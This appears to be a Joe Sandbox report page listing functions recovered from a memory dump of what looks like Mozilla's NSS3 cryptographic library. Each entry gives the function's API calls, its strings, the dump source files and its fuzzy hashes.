Opcode Fuzzy Hash: 5a188e128363a4cbfeffd4d37c30db61533076b340932f74ffc6dbfe9cfc0367
Instruction Fuzzy Hash: AF112CB6E41115ABDF2116389E0E8AA3A7CEF1325CB190131EC1893B11F735D958C6E1

Function 6C798C10 Relevance: 10.8, APIs: 7, Instructions: 279COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C798C93

Part of subcall function 6C7CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7CC2BF

Part of subcall function 6C778A60: TlsGetValue.KERNEL32(6C7261C4,?,6C725F9C,00000000), ref: 6C778A81
Part of subcall function 6C778A60: TlsGetValue.KERNEL32(?,?,?,6C725F9C,00000000), ref: 6C778A9E
Part of subcall function 6C778A60: EnterCriticalSection.KERNEL32(?,?,?,?,6C725F9C,00000000), ref: 6C778AB7
Part of subcall function 6C778A60: PR_Unlock.NSS3(?,?,?,?,?,6C725F9C,00000000), ref: 6C778AD2

memset.VCRUNTIME140(?,00000000,?), ref: 6C798CFB
memset.VCRUNTIME140(?,00000000,?), ref: 6C798D10

Part of subcall function 6C778970: TlsGetValue.KERNEL32(?,00000000,6C7261C4,?,6C725639,00000000), ref: 6C778991
Part of subcall function 6C778970: TlsGetValue.KERNEL32(?,?,?,?,?,6C725639,00000000), ref: 6C7789AD
Part of subcall function 6C778970: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C725639,00000000), ref: 6C7789C6
Part of subcall function 6C778970: PR_WaitCondVar.NSS3 ref: 6C7789F7
Part of subcall function 6C778970: PR_Unlock.NSS3(?,?,?,?,?,?,?,6C725639,00000000), ref: 6C778A0C

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockmemset$CondErrorWait
String ID:
API String ID: 2412912262-0
Opcode ID: 2d1d3f64f2d8d0e6f737a0a2fd461b5623dc6edfc97d9c5e4bfe441cf9310bc4
Instruction ID: c19acd55326ad46115bb1479f28edc32581fcb3427171014d9710d61465e7c15
Opcode Fuzzy Hash: 2d1d3f64f2d8d0e6f737a0a2fd461b5623dc6edfc97d9c5e4bfe441cf9310bc4
Instruction Fuzzy Hash: 37B17CB0D003089FDB15CF65DD44AAEBBBAFF48308F10412EE81AA7752E731A955CB91

Function 6C729C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7411C0: PR_NewLock.NSS3 ref: 6C741216

free.MOZGLUE(?), ref: 6C729E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C729E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C729E4E
TlsGetValue.KERNEL32 ref: 6C729EA2

Part of subcall function 6C739500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6C739546

EnterCriticalSection.KERNEL32(?), ref: 6C729EB6
PR_Unlock.NSS3 ref: 6C729ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C729F18

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: bfffc781a9ca1c1f7317ff573424277095a772a87d5078774f6903faeb011e18
Instruction ID: 11d1241872ffab0d7da30023f5441b0fef21f8ff2a419cc5c409d2c9b1aab281
Opcode Fuzzy Hash: bfffc781a9ca1c1f7317ff573424277095a772a87d5078774f6903faeb011e18
Instruction Fuzzy Hash: DE811C72E002019BE7109F34DE49AAB77A9BF6524CF184538EC4987B42FB35E954C7E1

Function 6C73DCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C73AB10: DeleteCriticalSection.KERNEL32(D958E852,6C741397,5B5F5EC0,?,?,6C73B1EE,2404110F,?,?), ref: 6C73AB3C
Part of subcall function 6C73AB10: free.MOZGLUE(D958E836,?,6C73B1EE,2404110F,?,?), ref: 6C73AB49
Part of subcall function 6C73AB10: DeleteCriticalSection.KERNEL32(5D5E6C93), ref: 6C73AB5C
Part of subcall function 6C73AB10: free.MOZGLUE(5D5E6C87), ref: 6C73AB63
Part of subcall function 6C73AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C73AB6F
Part of subcall function 6C73AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C73AB76

TlsGetValue.KERNEL32 ref: 6C73DCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6C73DD0E
PK11_IsFriendly.NSS3(?), ref: 6C73DD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6C73DD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C73DE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C73DEA6
PR_Unlock.NSS3(?), ref: 6C73DF08

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: 1d505940d9662eda7c5faf9202e89c5d62fcf65da3b7a8f84bec1578b3e6ed80
Instruction ID: a17273f6d518a60f6039c03dc38f84d08c8dac338f3d3a53258bc0657542015e
Opcode Fuzzy Hash: 1d505940d9662eda7c5faf9202e89c5d62fcf65da3b7a8f84bec1578b3e6ed80
Instruction Fuzzy Hash: 219105B5A101259FDB00CF68CA89BAABBB5AF64308F159035DC1C9B743EB31E815CBD5

Function 6C6A4F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6A4FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6A51BB

Strings

%s at line %d of [%.10s], xrefs: 6C6A51B4
unable to delete/modify user-function due to active statements, xrefs: 6C6A51DF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6A51A5
misuse, xrefs: 6C6A51AF

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: e1f79ee48ba7baf0385e6c5c8133a62fce572982db688b4408efc23974b1a0a2
Instruction ID: 721302f0cd467ab85993325980fd8743101f0a68bc144e5c60f3519a56703dac
Opcode Fuzzy Hash: e1f79ee48ba7baf0385e6c5c8133a62fce572982db688b4408efc23974b1a0a2
Instruction Fuzzy Hash: A6719EB160460A9FDB00CE96CD80BEA77B5BF88308F154524FE199BB81D731EC56CBA5

Function 6C712D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6C712D69

Strings

winTruncate1, xrefs: 6C712EBE
winSeekFile, xrefs: 6C712E9C
winUnmapfile1, xrefs: 6C712F55
winUnmapfile2, xrefs: 6C712F7F
winTruncate2, xrefs: 6C712EF8

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: e1137d625ec91907183531c6fdfeb9d8aae0db2d51e7bf1506df91c32e8b215c
Instruction ID: 882a5ea8e86b47839b46075aec5a0c3e22b20bf3a9f7b312f4ee00561864f242
Opcode Fuzzy Hash: e1137d625ec91907183531c6fdfeb9d8aae0db2d51e7bf1506df91c32e8b215c
Instruction Fuzzy Hash: A161D871B042049FDB54CF68DD98A6A77B5FF8A314F14413CE9159BB90EB30AD06CB91

Function 6C7929E0 Relevance: 10.7, APIs: 7, Instructions: 181COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,00000000,00000000,?,?,6C7921DD,00000000), ref: 6C792A47
SEC_ASN1EncodeInteger_Util.NSS3(?,6C7921DD,00000002,00000000,00000000,?,?,6C7921DD,00000000), ref: 6C792A60
SECOID_FindOIDByTag_Util.NSS3(00000000,?,?,?,?,00000000,00000000,?,?,6C7921DD,00000000), ref: 6C792A8E
PK11_KeyGen.NSS3(00000000,?,00000000,83F089CA,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C792AE9
PORT_ArenaMark_Util.NSS3(00000000), ref: 6C792B0D
PK11_FreeSymKey.NSS3(?), ref: 6C792B7B
PK11_FreeSymKey.NSS3(?), ref: 6C792BD6

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: K11_Util$Free$ArenaEncodeErrorFindInteger_Mark_Tag_
String ID:
API String ID: 1625981074-0
Opcode ID: ca3dd85088ddb9f67e7c2fac113606d570f58931257b363561b949421e7b7bfc
Instruction ID: f3b85beb532908344666dfc77530471db9ab5a0430ea24fb56b4749dd320e971
Opcode Fuzzy Hash: ca3dd85088ddb9f67e7c2fac113606d570f58931257b363561b949421e7b7bfc
Instruction Fuzzy Hash: 62510672E002069BEB109E65EE8CBAE73B5AF0532CF150138ED1957791FB31E905C791

Function 6C74BCF0 Relevance: 10.6, APIs: 7, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C74BD1E

Part of subcall function 6C722F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C722F0A
Part of subcall function 6C722F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C722F1D

Part of subcall function 6C7657D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C72B41E,00000000,00000000,?,00000000,?,6C72B41E,00000000,00000000,00000001,?), ref: 6C7657E0
Part of subcall function 6C7657D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C765843

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C74BD8C

Part of subcall function 6C77FAB0: free.MOZGLUE(?,-00000001,?,?,6C71F673,00000000,00000000), ref: 6C77FAC7

CERT_DestroyCertList.NSS3(00000000), ref: 6C74BD9B
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6C74BDA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C74BE3A

Part of subcall function 6C723E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C723EC2
Part of subcall function 6C723E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C723ED6
Part of subcall function 6C723E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C723EEE
Part of subcall function 6C723E60: PR_CallOnce.NSS3(6C882AA4,6C7812D0), ref: 6C723F02
Part of subcall function 6C723E60: PL_FreeArenaPool.NSS3 ref: 6C723F14
Part of subcall function 6C723E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C723F27

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C74BE52

Part of subcall function 6C722E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C722CDA,?,00000000), ref: 6C722E1E
Part of subcall function 6C722E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C722E33
Part of subcall function 6C722E00: TlsGetValue.KERNEL32 ref: 6C722E4E
Part of subcall function 6C722E00: EnterCriticalSection.KERNEL32(?), ref: 6C722E5E
Part of subcall function 6C722E00: PL_HashTableLookup.NSS3(?), ref: 6C722E71
Part of subcall function 6C722E00: PL_HashTableRemove.NSS3(?), ref: 6C722E84
Part of subcall function 6C722E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C722E96
Part of subcall function 6C722E00: PR_Unlock.NSS3 ref: 6C722EA9

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C74BE61

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Util$Item_$Zfree$ArenaHashTable$CertListPoolfree$AllocAlloc_Arena_CallCopyCriticalDecodeDestroyEnterErrorFreeInitK11_LookupOnceQuickRemoveSectionTokensUnlockValue
String ID:
API String ID: 2178860483-0
Opcode ID: b1ca98be2d20cbf4c4d80e238ecfdd96e7381bc0877a272e78e900e3aa3b5fcc
Instruction ID: f533fc0c5bf0d31eccb3c17da6d27a0ba699e3541c6a140ecd207dc198329f10
Opcode Fuzzy Hash: b1ca98be2d20cbf4c4d80e238ecfdd96e7381bc0877a272e78e900e3aa3b5fcc
Instruction Fuzzy Hash: F041F575A006109FCB20CF28DE89E5A77E8EF49718F118168F90997711E735ED04CBA2

Function 6C736980 Relevance: 10.6, APIs: 7, Instructions: 126COMMON

Download Yara Rule

APIs

Part of subcall function 6C735DB0: NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C735DEC
Part of subcall function 6C735DB0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6C735E0F

SECITEM_DupItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7369BA

Part of subcall function 6C77FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C729003,?), ref: 6C77FD91
Part of subcall function 6C77FD80: PORT_Alloc_Util.NSS3(A4686C78,?), ref: 6C77FDA2
Part of subcall function 6C77FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C78,?,?), ref: 6C77FDC4

VFY_EndWithSignature.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C736A59
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C736AB7
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C736ACA
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C736AE0
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C736AE9

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Util$Alloc_Item_free$AlgorithmDestroyErrorPolicyPublicSignatureWithZfreememcpy
String ID:
API String ID: 2730469119-0
Opcode ID: d41f4fabbd374927adcafdf71aec24d1ee6ae5cb332d88583229b451b26cf10b
Instruction ID: 86107d67223d9d33a18344b48554f692eaadcf2e945493a6999f43999f9d14fe
Opcode Fuzzy Hash: d41f4fabbd374927adcafdf71aec24d1ee6ae5cb332d88583229b451b26cf10b
Instruction Fuzzy Hash: 9A41A1B26406109BEB209F28ED49B9B77E9BF85354F188438E85DC7642EF31E901C7E1

Function 6C7889A0 Relevance: 10.6, APIs: 7, Instructions: 124COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3 ref: 6C7889DF
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C7889EA
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C788A04

Part of subcall function 6C78BC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6C78800A,00000000,?,00000000,?), ref: 6C78BC3F

PK11_PBEKeyGen.NSS3(00000000,?,?,00000000,?), ref: 6C788A47
PK11_GetInternalKeySlot.NSS3 ref: 6C788A7E
PK11_PBEKeyGen.NSS3(00000000,?,00000000,00000000,?), ref: 6C788A96

Part of subcall function 6C76F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C76F854
Part of subcall function 6C76F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C76F868
Part of subcall function 6C76F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C76F882
Part of subcall function 6C76F820: free.MOZGLUE(04C483FF,?,?), ref: 6C76F889
Part of subcall function 6C76F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C76F8A4
Part of subcall function 6C76F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C76F8AB
Part of subcall function 6C76F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C76F8C9
Part of subcall function 6C76F820: free.MOZGLUE(280F10EC,?,?), ref: 6C76F8D0

SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C788AD4

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: free$K11_Util$CriticalDeleteItem_Section$CopyInternalSlot$AlgorithmTag_Zfree
String ID:
API String ID: 3389286309-0
Opcode ID: 12c8f86f098b945177fe5265bc5eead1846687ae87a5743a84eff0370df86ddc
Instruction ID: 3db8b4b29dde255ca3af4e6bc42c00a939ff5c0223133dc562b0c87c18a2e016
Opcode Fuzzy Hash: 12c8f86f098b945177fe5265bc5eead1846687ae87a5743a84eff0370df86ddc
Instruction Fuzzy Hash: AF41D7756013057BD7009E66DE49B6B7768FB44758F044036FE1887B82E736E91487E3

Function 6C76AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C76AB3E,?,?,?), ref: 6C76AC35

Part of subcall function 6C74CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6C74CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C76AB3E,?,?,?), ref: 6C76AC55

Part of subcall function 6C7810C0: TlsGetValue.KERNEL32(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C7810F3
Part of subcall function 6C7810C0: EnterCriticalSection.KERNEL32(?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78110C
Part of subcall function 6C7810C0: PL_ArenaAllocate.NSS3(?,?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C781141
Part of subcall function 6C7810C0: PR_Unlock.NSS3(?,?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C781182
Part of subcall function 6C7810C0: TlsGetValue.KERNEL32(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C76AB3E,?,?), ref: 6C76AC70

Part of subcall function 6C74E300: TlsGetValue.KERNEL32 ref: 6C74E33C
Part of subcall function 6C74E300: EnterCriticalSection.KERNEL32(?), ref: 6C74E350
Part of subcall function 6C74E300: PR_Unlock.NSS3(?), ref: 6C74E5BC
Part of subcall function 6C74E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6C74E5CA
Part of subcall function 6C74E300: TlsGetValue.KERNEL32 ref: 6C74E5F2
Part of subcall function 6C74E300: EnterCriticalSection.KERNEL32(?), ref: 6C74E606
Part of subcall function 6C74E300: PORT_Alloc_Util.NSS3(?), ref: 6C74E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C76AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C76AB3E), ref: 6C76ACD7
PORT_Alloc_Util.NSS3(?), ref: 6C76AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C76AD2B

Part of subcall function 6C74F360: TlsGetValue.KERNEL32(00000000,?,6C76A904,?), ref: 6C74F38B
Part of subcall function 6C74F360: EnterCriticalSection.KERNEL32(?,?,?,6C76A904,?), ref: 6C74F3A0
Part of subcall function 6C74F360: PR_Unlock.NSS3(?,?,?,?,6C76A904,?), ref: 6C74F3D3

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: b44c3e88365c33d2d9a6bd2e73dfd79d698caac025d2f4a92673fdecb4d9a262
Instruction ID: cbfbe315914f21ffdaa76af182fa622a53736f3c1c6532b149ff54b4951ff315
Opcode Fuzzy Hash: b44c3e88365c33d2d9a6bd2e73dfd79d698caac025d2f4a92673fdecb4d9a262
Instruction Fuzzy Hash: 6B3129B1E002255FEB009F6ACE499AF7766AF8473CB188138EC1557B41EB31DD15C7A1

Function 6C722920 Relevance: 10.6, APIs: 7, Instructions: 121timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C72294E

Part of subcall function 6C781820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6C721D97,?,?), ref: 6C781836

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C72296A
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C722991

Part of subcall function 6C781820: PR_SetError.NSS3(FFFFE005,00000000,?,6C721D97,?,?), ref: 6C78184D

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C7229AF
PR_Now.NSS3 ref: 6C722A29
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C722A50
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C722A79

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
